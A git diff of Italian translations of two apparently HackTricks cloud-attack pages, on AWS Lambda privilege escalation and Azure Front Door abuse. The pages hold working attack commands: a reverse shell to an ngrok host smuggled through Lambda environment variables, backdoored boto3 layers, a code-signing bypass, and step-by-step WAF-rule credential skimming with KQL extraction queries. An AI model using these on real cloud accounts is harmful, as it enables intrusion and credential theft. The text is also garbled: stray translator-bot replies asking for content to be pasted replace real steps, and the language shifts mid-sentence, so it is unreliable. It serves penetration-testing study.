 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Potenziale impatto:** Privesc diretto al ruolo di servizio lambda specificato.
+**Impatto potenziale:** privesc diretto al ruolo di servizio lambda specificato.

 ### `lambda:AddPermission`

-Un attacker con questa autorizzazione può **assegnarsi (o assegnare ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
+Un attacker con questo permesso può **concedersi (o concedere ad altri) qualsiasi permesso** (questo genera resource based policies per concedere accesso alla risorsa):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Impatto potenziale:** Privesc diretto al ruolo di servizio di lambda, ottenuto concedendo il permesso di modificare il codice e di eseguirlo.
+**Potential Impact:** Privesc diretto al ruolo di servizio lambda ottenuto concedendo il permesso di modificare il codice ed eseguirlo.

 ### `lambda:AddLayerVersionPermission`

-Un attacker con questo permesso può **concedersi (o concedere ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.
+Un attacker con questa autorizzazione può **concedersi (o concedere ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen

 ### `lambda:UpdateFunctionCode`

-Utenti che possiedono il permesso **`lambda:UpdateFunctionCode`** possono **modificare il codice di una funzione Lambda esistente collegata a un ruolo IAM.**\
-L'attaccante può **modificare il codice della funzione Lambda per esfiltrare le credenziali IAM**.
+Gli utenti che hanno il permesso **`lambda:UpdateFunctionCode`** possono **modify the code of an existing Lambda function that is linked to an IAM role.**\
+L'attaccante può **modify the code of the lambda to exfiltrate the IAM credentials**.

-Anche se l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata tramite workflow o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
+Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la Lambda function è preesistente e operativa, è probabile che venga attivata tramite flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt

 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Impatto potenziale:** privesc diretto al ruolo di servizio lambda utilizzato.
+**Impatto potenziale:** Direct privesc al ruolo di servizio lambda utilizzato.

 ### `lambda:UpdateFunctionConfiguration`

-#### RCE tramite variabili d'ambiente
+#### RCE via env variables

-Con questi permessi è possibile aggiungere variabili d'ambiente che faranno eseguire al Lambda codice arbitrario. Per esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far sì che un processo python esegua comandi arbitrari:
+Con queste autorizzazioni è possibile aggiungere environment variables che faranno eseguire al Lambda codice arbitrario. Ad esempio, in python è possibile abusare delle environment variables `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi usare. Per maggiori informazioni, consulta le sottosezioni sui linguaggi di scripting in:
+Per altri linguaggi di scripting esistono altre variabili d'ambiente che puoi usare. Per maggiori informazioni consulta le sottosezioni dei linguaggi di scripting in:

 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
 {{#endref}}

-#### RCE via Lambda Layers
+#### RCE tramite Lambda Layers

-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) consente di includere **code** nella tua funzione Lambda ma **memorizzandolo separatamente**, così il codice della funzione può rimanere piccolo e **più funzioni possono condividere lo stesso codice**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permette di includere **code** nella tua lambda function ma **storing it separately**, quindi il codice della funzione può restare piccolo e **several functions can share code**.

-All'interno della funzione Lambda puoi verificare i percorsi da cui il codice python viene caricato con una funzione come la seguente:
+All'interno di lambda puoi controllare i percorsi da cui viene caricato il python code con una funzione come la seguente:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-These are the places:
+Questi sono i percorsi:

 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -198,53 +198,53 @@ These are the places:
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python

-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
+Per esempio, la libreria boto3 viene caricata da `/var/runtime/boto3` (4ª posizione).

 #### Sfruttamento

-È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una lambda function. Per eseguire codice arbitrario questo layer deve contenere qualche **library che la lambda importerà.** Se puoi leggere il codice della lambda, puoi trovare questo facilmente; nota anche che potrebbe essere possibile che la lambda sia **già usando un layer** e potresti **scaricare** il layer e **inserire il tuo codice** al suo interno.
+È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario questo layer deve contenere qualche **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, puoi scoprirlo facilmente; nota anche che potrebbe essere possibile che la lambda stia **già usando un layer** e tu possa **scaricare** il layer e **aggiungere il tuo codice** lì dentro.

-Ad esempio, supponiamo che la lambda stia usando la library boto3; questo creerà un layer locale con l'ultima versione della library:
+Per esempio, supponiamo che la lambda stia usando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Puoi aprire `./lambda_layer/boto3/__init__.py` e **inserire la backdoor nel codice globale** (ad esempio una funzione per esfiltrare le credentials o ottenere una reverse shell).
+Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per exfiltrate credentials o ottenere una reverse shell, ad esempio).

-Poi, zip la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per questo).\
-Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** usata dalla lambda e se lo carichi nel tuo account, deve trovarsi nella **stessa regione:**
+Poi, zip la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per farlo).\
+Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatible with the python version** usata dalla lambda e se lo carichi nel tuo account, deve essere nella **same region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-Ora, rendi il lambda layer caricato **accessibile da qualsiasi account**:
+Ora rendi il lambda layer caricato **accessibile da qualsiasi account**:
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-E allega il lambda layer alla funzione lambda vittima:
+Quindi allega il lambda layer alla victim lambda function:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-Il passo successivo sarebbe o **invocare la funzione** da noi se possibile o aspettare che **venga invocata** per vie normali — che è il metodo più sicuro.
+Il passo successivo sarebbe o **invocare la funzione** noi stessi se possibile oppure aspettare che **venga invocata** dai normali meccanismi — che è il metodo più sicuro.

-Un modo più stealth per sfruttare questa vulnerabilità può essere trovato in:
+Un **modo più stealth per sfruttare questa vulnerabilità** si trova in:

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}

-**Impatto potenziale:** Direct privesc al lambda service role usato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.

 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

-Forse con questi permessi puoi creare una funzione ed eseguirla chiamando l'URL... non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
+Forse con questi permessi riesci a creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!

 ### Lambda MitM

-Alcune lambda stanno **ricevendo informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi exfiltrate le informazioni che altri utenti le inviano; controlla in:
+Alcune lambda riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; vedi:

 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -255,21 +255,18 @@ Alcune lambda stanno **ricevendo informazioni sensibili dagli utenti nei paramet
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

-{{#include ../../../../banners/hacktricks-training.md}}
-
-


 ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

-Se una Lambda function impone il code signing, un attaccante che può rimuovere la Code Signing Config (CSC) o degradarla a Warn può deployare codice non firmato nella function. Questo bypassa le protezioni di integrità senza modificare l'IAM role della function o i trigger.
+Se una funzione lambda applica il code signing, un attacker che può rimuovere la Code Signing Config (CSC) o degradarla a `WARN` può deployare codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.

-Permessi (uno dei seguenti):
+Permissions (one of):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
 - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

 Note:
- Per Path B, non serve un AWS Signer profile se la policy CSC è impostata su `WARN` (unsigned artifacts allowed).
+- Per Path B, non serve un profilo AWS Signer se la policy del CSC è impostata su `WARN` (unsigned artifacts allowed).

 Passaggi (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

@@ -282,7 +279,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
 PY
 zip backdoor.zip handler.py
 ```
-Percorso A) Rimuovere CSC e aggiornare il codice:
+Percorso A) Rimuovi CSC, quindi aggiorna il codice:
 ```bash
 aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
 if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +289,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Percorso B) Riduci il livello a Warn e aggiorna il codice (se la cancellazione non è consentita):
+Percorso B) Downgrade a Warn e aggiorna il codice (se delete non è consentito):
 ```bash
 CSC_ARN=$(aws lambda create-code-signing-config \
 --description ht-warn-csc \
@@ -303,15 +300,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Pronto. Per favore incolla il contenuto di src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md che vuoi che traduca. Tradurrò il testo rilevante in italiano rispettando le regole: non tradurrò codice, nomi tecnici, parole comuni di hacking, nomi di cloud/SaaS, link, tag o path.
+Verifica:
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
 ```
-Impatto potenziale: possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre deployment firmati, potenzialmente portando all'esecuzione di codice con le autorizzazioni del ruolo della funzione.
+Impatto potenziale: Possibilità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre signed deployments, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.

 Pulizia:
 ```bash
 aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,18 +1,81 @@
-# Az - File Shares
+# Az - Front Door

 {{#include ../../../banners/hacktricks-training.md}}

 ## RemoteAddr Bypass

-Questo **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** spiega come, quando si configurano alcune restrizioni di rete con Azure Front Door, è possibile filtrare in base a **`RemoteAddr`** o **`SocketAddr`**. La principale differenza è che **`RemoteAddr`** utilizza effettivamente il valore dall'intestazione HTTP **`X-Forwarded-For`**, rendendo molto facile eludere questa restrizione.
+Questo **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** spiega come, quando configuri alcune restrizioni di rete con Azure Front Door, puoi filtrare in base a **`RemoteAddr`** o **`SocketAddr`**. La differenza principale è che **`RemoteAddr`** usa effettivamente il valore dall'header HTTP **`X-Forwarded-For`**, rendendo molto semplice l'bypass.

-Per eludere questa regola, possono essere utilizzati strumenti automatizzati che **brute-force gli indirizzi IP** fino a trovare uno valido.
+Per bypassare questa regola si possono usare strumenti automatici che effettuano un brute-force degli indirizzi IP fino a trovare uno valido.

-Questo è menzionato nella [documentazione Microsoft](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
+Questo è menzionato nella [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).

+## Credential Skimming via WAF Custom Rules + Log Analytics
+
+Abusa di Azure Front Door (AFD) WAF Custom Rules in combinazione con Log Analytics per catturare credenziali in chiaro (o altri secret) che transitano attraverso il WAF. Questo non è una CVE; è un uso improprio di funzionalità legittime da parte di chiunque possa modificare la policy WAF e leggere i suoi log.
+
+Comportamenti chiave che lo abilitano:
+- Le AFD WAF Custom Rules possono effettuare match su elementi della richiesta, inclusi header e parametri POST.
+- Quando una Custom Rule usa l'azione Log traffic only, la valutazione continua e il traffico procede (no short-circuit), mantenendo il flusso normale/stealthy.
+- AFD scrive diagnostica dettagliata su Log Analytics sotto la Category FrontDoorWebApplicationFirewallLog. I dettagli dei payload corrisposti sono inclusi in details_matches_s insieme al nome della regola in ruleName_s.
+
+### End-to-end workflow
+
+1. Identify target POST parameters
+- Ispeziona il form di login e annota i nomi dei parametri (es., username, password).
+
+2. Enable diagnostics to Log Analytics
+- In your Front Door profile > Monitoring > Diagnostic settings, send logs to a Log Analytics workspace.
+- Al minimo, abilita la category: FrontDoorWebApplicationFirewallLog.
+
+3. Create a malicious Custom Rule
+- Front Door WAF Policy > Custom rules > New rule:
+- Name: nome innocuo, es., PasswordCapture
+- Priority: numero basso (es., 5) in modo che venga valutata presto
+- Match: argomenti POST username e password con Operator = Any (match qualsiasi valore)
+- Action: Log traffic only
+
+4. Generate events
+```bash
+curl -i -X POST https://example.com/login \
+-H "Content-Type: application/x-www-form-urlencoded" \
+--data "username=alice&password=S3cret!"
+```
+5. Estrai le credenziali da Log Analytics (KQL)
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog"
+| where ruleName_s == "PasswordCapture"
+| project TimeGenerated, ruleName_s, details_matches_s
+| order by TimeGenerated desc
+```
+Non hai incollato il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/azure-security/az-services/az-front-door.md (o la porzione che vuoi tradurre) e io lo tradurrò in italiano mantenendo intatti tag, link, percorsi, codice e markdown come richiesto.
+```kusto
+AzureDiagnostics
+| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
+| extend m = parse_json(details_matches_s)
+| mv-expand match = m.matches
+| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
+| order by TimeGenerated desc
+```
+I valori corrispondenti appaiono in details_matches_s e includono i valori cleartext che corrispondevano alla tua regola.
+
+### Perché Front Door WAF e non Application Gateway WAF?
+- I log delle custom-rule di Application Gateway WAF non includono i valori POST/header offensivi allo stesso modo; le diagnostics di AFD WAF includono il matched content in details, permettendo la cattura di credenziali.
+
+### Stealth e varianti
+- Imposta Action su "Log traffic only" per evitare di rompere le richieste e per mantenere la valutazione normale delle altre regole.
+- Usa un Priority numerico basso in modo che la tua regola di logging venga valutata prima di eventuali regole Block/Allow successive.
+- Puoi mirare a qualsiasi nome/posizione sensibile, non solo POST params (es., header come Authorization o API tokens in campi del body).
+
+### Prerequisiti
+- Un'istanza esistente di Azure Front Door.
+- Permessi per modificare la policy AFD WAF e leggere il Log Analytics workspace associato.

 ## References

 - [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
+- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
+- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)

 {{#include ../../../banners/hacktricks-training.md}}